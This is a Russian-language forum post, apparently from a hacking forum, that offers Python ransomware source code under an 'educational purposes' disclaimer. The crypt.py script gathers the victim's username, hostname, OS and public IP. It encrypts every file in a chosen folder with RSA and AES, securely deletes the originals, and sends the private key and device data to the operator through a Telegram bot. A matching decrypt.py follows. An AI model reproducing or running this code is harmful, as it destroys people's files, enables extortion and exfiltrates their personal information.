ВНИМАНИЕ: Данный код алгоритма шифрования и дешифровки выложен исключительно в ознакомительных целях, всё что вы делаете на свой страх и риск.
Как работает код: Алгоритм сначала создает публичный (для шифрования файлов) и приватный (для последующей дешифровки) ключ, шифрует все папки по указанной директории в строке:
Нужные библиотеки для правильной работы:
Код для шифрования и отправки в Telegram:
Код для дешифровки файлов:
Как работает код: Алгоритм сначала создает публичный (для шифрования файлов) и приватный (для последующей дешифровки) ключ, шифрует все папки по указанной директории в строке:
walk("D:/crypto_test/"), по публичному ключу, потом удаляет безопасно исходные файлы без возможности их восстановления. Отправляет все файлы (Информация об устройстве.txt, private.pem, public.pem) через bot_api телеги на указанный ID в коде.
Нужные библиотеки для правильной работы:
Код:
pip install PyCryptodome
pip install aiogram
pip install secure_delete
Код для шифрования и отправки в Telegram:
crypt.py:У вас должно быть более 20 реакций для просмотра скрытого контента.
Python:
import asyncio
import time
from aiogram.types import FSInputFile, InputMediaDocument
from aiogram import Bot
from Crypto.PublicKey import RSA
from Crypto.Random import get_random_bytes
from Crypto.Cipher import AES, PKCS1_OAEP
from secure_delete import secure_delete
# Ниже импорты для сбора информации об устройстве
import getpass
import os
import http.client
import platform
# Объект бота
bot = Bot(token="7205615990:AAGNnnF4EtdMc3X0sho1nR2Xi8mTBe55555") # Сюда вставляем токен от BotFather
### Функция генерации приватного и публичного ключа для шифрования и расшифрования файлов, и последующей отправкой ключей в ТГ
def generation_key():
key = RSA.generate(2048)
private_key = key.export_key()
file_out = open("private.pem", "wb")
file_out.write(private_key)
print(private_key)
file_out.close()
public_key = key.publickey().export_key()
file_out = open("public.pem", "wb")
file_out.write(public_key)
print(public_key)
file_out.close()
### Функция генерации приватного и публичного ключа для шифрования и расшифрования файлов, и последующей отправкой ключей в ТГ
### Функция сбора инфы о ПК, для последующего отстука в ТГ
def user_pc_info():
#Запрашиваем IP пользователя
conn = http.client.HTTPConnection("ifconfig.me")
conn.request("GET", "/ip")
#Запрашиваем IP пользователя
username = getpass.getuser() # Имя пользователя
name_pc = platform.node() # Имя хоста
user_ip = conn.getresponse().read() # IP адрес
os_info = platform.uname() # Информация об операционной системе
#Собираем информацию в файл
file = open("user_pc_info.txt", "w")
file.write("[=============================================]\n"
f"Операционная система: {os_info.system} {os_info.release} Version: {platform.version()}\n"
f"Процессор: {os_info.processor}\n"
f"Имя пользователя: {username}\n"
f"Имя хоста: {name_pc}\n"
f"IP пользователя: {user_ip}\n"
"[=============================================]")
file.close()
#Собираем информацию в файл
### Функция сбора инфы о ПК, для последующего отстука в ТГ
### Функция крипта директории, и что находится в ней методом гибридного шифрования (Симметрия+Ассимтерия)
def crypt(file):
f = open(file, "rb")
data = f.read()
f.close()
file_out = open(str(file) + ".bin", "wb")
recipient_key = RSA.import_key(open("public.pem").read())
session_key = get_random_bytes(16)
cipher_rsa = PKCS1_OAEP.new(recipient_key)
enc_session_key = cipher_rsa.encrypt(session_key)
cipher_aes = AES.new(session_key, AES.MODE_EAX)
ciphertext, tag = cipher_aes.encrypt_and_digest(data)
[file_out.write(x) for x in (enc_session_key, cipher_aes.nonce, tag, ciphertext)]
print(file + " ЗАШИФРОВАН!")
file_out.close()
#Безопасно удаляем файлы, без возможности восстановления
secure_delete.secure_random_seed_init()
secure_delete.secure_delete(file)
def walk(dir):
for name in os.listdir(dir):
path = os.path.join(dir, name)
if os.path.isfile(path):
crypt(path)
else:
walk(path)
### Функция крипта директории, и что находится в ней методом гибридного шифрования (Симметрия+Ассимтерия)
# Функция отстука в телеграм, отправка файлов ключей и информации о ПК
async def crypto_file_info():
device_info_FS = FSInputFile("user_pc_info.txt", filename="Информация об устройстве.txt")
private_key_FS = FSInputFile('private.pem', filename="private.pem")
public_key_FS = FSInputFile('public.pem', filename="public.pem")
device_info = InputMediaDocument(type="document", media=device_info_FS)
private_key = InputMediaDocument(type="document", media=private_key_FS)
public_key = InputMediaDocument(type="document", media=public_key_FS)
list_documents = [device_info, private_key, public_key]
await bot.send_media_group(chat_id=5555805555, media=list_documents) # В chat_id указываем Telegram ID администратора бота, кому будет приходить сообщение
# Функция отстука в телеграм, отправка файлов ключей и информации о ПК
user_pc_info()
generation_key()
time.sleep(3)
walk("C:/Users/rand/Pictures") # Тут указывается директория для шифрования
asyncio.run(crypto_file_info())
###Безвозратное удаление приватного ключа после завершения работы алгоритма (если нужно раскоментируйте строки ниже)
#secure_delete.secure_random_seed_init()
#secure_delete.secure_delete("private.pem")
Код для дешифровки файлов:
decrypt.py:У вас должно быть более 20 реакций для просмотра скрытого контента.
Python:
from Crypto.PublicKey import RSA
from Crypto.Cipher import AES, PKCS1_OAEP
import os
def decrypt(file):
private_key = RSA.import_key(open("private.pem").read())
with open(file, "rb") as f:
enc_session_key = f.read(private_key.size_in_bytes())
nonce = f.read(16)
tag = f.read(16)
ciphertext = f.read()
file_out = open(str(file[:-4]), "wb")
cipher_rsa = PKCS1_OAEP.new(private_key)
session_key = cipher_rsa.decrypt(enc_session_key)
cipher_aes = AES.new(session_key, AES.MODE_EAX, nonce)
data = cipher_aes.decrypt_and_verify(ciphertext, tag)
file_out.write(data)
print(file + " РАСШИФРОВАН!")
file_out.close()
os.remove(file)
def walk(dir):
for name in os.listdir(dir):
path = os.path.join(dir, name)
if os.path.isfile(path):
decrypt(path)
else:
walk(path)
walk("C:/Users/rand/Pictures") # Тут указывается директория для расшифровки
Последнее редактирование:
